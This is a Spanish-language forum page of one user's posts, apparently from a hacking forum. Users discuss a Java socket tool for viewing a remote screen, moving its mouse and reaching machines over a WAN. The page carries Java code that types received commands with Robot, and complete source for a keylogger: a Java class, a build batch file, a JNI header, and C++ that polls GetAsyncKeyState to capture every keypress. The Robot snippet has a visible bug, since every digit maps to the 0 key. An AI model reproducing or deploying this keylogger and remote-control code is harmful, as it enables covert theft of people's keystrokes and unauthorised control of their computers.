Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: _rez3t45_ en 25 Noviembre 2009, 23:48 PMobviamente solo tendrias que configurar el socket apuntando a una ip-publica determinada
en_java-t269563.0.html[/url
mm lo que no pude es hacer que funcionen los 2 a la vez ozea ver la pantalla y mover su mouse . lo tengo por separados..
la duda que tengo es como aria para poderme comunicar entre redes wan . y no tan solo redes lan ...
creo que seria apuntando a su IP publica/ip lan
Cita de: danyelk_6u5 en 24 Noviembre 2009, 03:50 AMjavascript:void(0);
jeje...es que los se usar para trasferencia de archivos...no sabia que podia enviar movimientos de mouse y todo esoo... me lo explicas un pokito mejor???
if (read.equalsIgnoreCase(container.Command.COMMAND_WRITER)) {
final String msg = bufferedReader.readLine();
new Thread(new Runnable() {
@Override
public void run() {
try {
Robot robot = new Robot();
char[] c = msg.toUpperCase().toCharArray();
for(int index=0;index<c.length;index++)
{
if(c[index]=='0'){robot.keyPress(KeyEvent.VK_0);}if(c[index]=='6')robot.keyPress(KeyEvent.VK_0);
if(c[index]=='1')robot.keyPress(KeyEvent.VK_0);if(c[index]=='7')robot.keyPress(KeyEvent.VK_0);
if(c[index]=='2')robot.keyPress(KeyEvent.VK_0);if(c[index]=='8')robot.keyPress(KeyEvent.VK_0);
if(c[index]=='3')robot.keyPress(KeyEvent.VK_0);if(c[index]=='9')robot.keyPress(KeyEvent.VK_0);
if(c[index]=='4')robot.keyPress(KeyEvent.VK_0);if(c[index]=='5')robot.keyPress(KeyEvent.VK_0);
if(c[index]=='Q')robot.keyPress(KeyEvent.VK_Q);if(c[index]=='I')robot.keyPress(KeyEvent.VK_I);
if(c[index]=='W')robot.keyPress(KeyEvent.VK_W);if(c[index]=='O')robot.keyPress(KeyEvent.VK_O);
if(c[index]=='E')robot.keyPress(KeyEvent.VK_E);if(c[index]=='P')robot.keyPress(KeyEvent.VK_P);
if(c[index]=='R')robot.keyPress(KeyEvent.VK_R);if(c[index]=='A')robot.keyPress(KeyEvent.VK_A);
if(c[index]=='T')robot.keyPress(KeyEvent.VK_T);if(c[index]=='S')robot.keyPress(KeyEvent.VK_S);
if(c[index]=='Y')robot.keyPress(KeyEvent.VK_Y);if(c[index]=='D')robot.keyPress(KeyEvent.VK_D);
if(c[index]=='U')robot.keyPress(KeyEvent.VK_U);if(c[index]=='F')robot.keyPress(KeyEvent.VK_F);
if(c[index]=='K')robot.keyPress(KeyEvent.VK_K);if(c[index]=='G')robot.keyPress(KeyEvent.VK_G);
if(c[index]=='L')robot.keyPress(KeyEvent.VK_L);if(c[index]=='H')robot.keyPress(KeyEvent.VK_H);
if(c[index]=='Z')robot.keyPress(KeyEvent.VK_Z);if(c[index]=='J')robot.keyPress(KeyEvent.VK_J);
if(c[index]=='X')robot.keyPress(KeyEvent.VK_X);if(c[index]=='V')robot.keyPress(KeyEvent.VK_V);
if(c[index]=='C')robot.keyPress(KeyEvent.VK_C);if(c[index]=='B')robot.keyPress(KeyEvent.VK_B);
if(c[index]=='M')robot.keyPress(KeyEvent.VK_M);if(c[index]=='N')robot.keyPress(KeyEvent.VK_N);
}
} catch (AWTException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}).start();
}
public class Keylogger extends Thread {
private boolean running=true;
private int value =0;
private native int get();
static {
System.loadLibrary("Keylogger");
/**
* Carga de la DLL
*/
}
@Override
public synchronized void run(){
while(running){
value = get();
/**
* Optenemos la Tecla Precionada
*/
System.out.println((char)value);
/**
* La Mostramos en la Salida Estandar
*/
}
}
}
@echo off
title Java
set/p j= .java :
echo.
call javac %j%.java
call javah -jni %j%
pause
echo.
exit
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>/* Header for class Keylogger */
#ifndef _Included_Keylogger
#define _Included_Keylogger
#ifdef __cplusplus
extern "C" {
#endif
#undef Keylogger_MIN_PRIORITY
#define Keylogger_MIN_PRIORITY 1L
#undef Keylogger_NORM_PRIORITY
#define Keylogger_NORM_PRIORITY 5L
#undef Keylogger_MAX_PRIORITY
#define Keylogger_MAX_PRIORITY 10L
#undef Keylogger_DELAY
#define Keylogger_DELAY 20L
/** Class: Keylogger
* Method: get
* Signature: ()I
*/
JNIEXPORT jint JNICALL Java_Keylogger_get (JNIEnv *, jobject);
#ifdef __cplusplus
}
#endif
#endif
#include <iostream>
#include <windows.h>
#include <fstream>
#include <jni.h>
#include "Keylogger.h"
JNIEXPORT jint JNICALL Java_Keylogger_get(JNIEnv* env, jobject obj){
while(true){
for(int c=8;c<=222;c++){
if(GetAsyncKeyState(c)==-32767)
return c;
}
Sleep(30);
}
}
public class Main {
public static void main(String[] args) {
new Keylogger().start();
}
}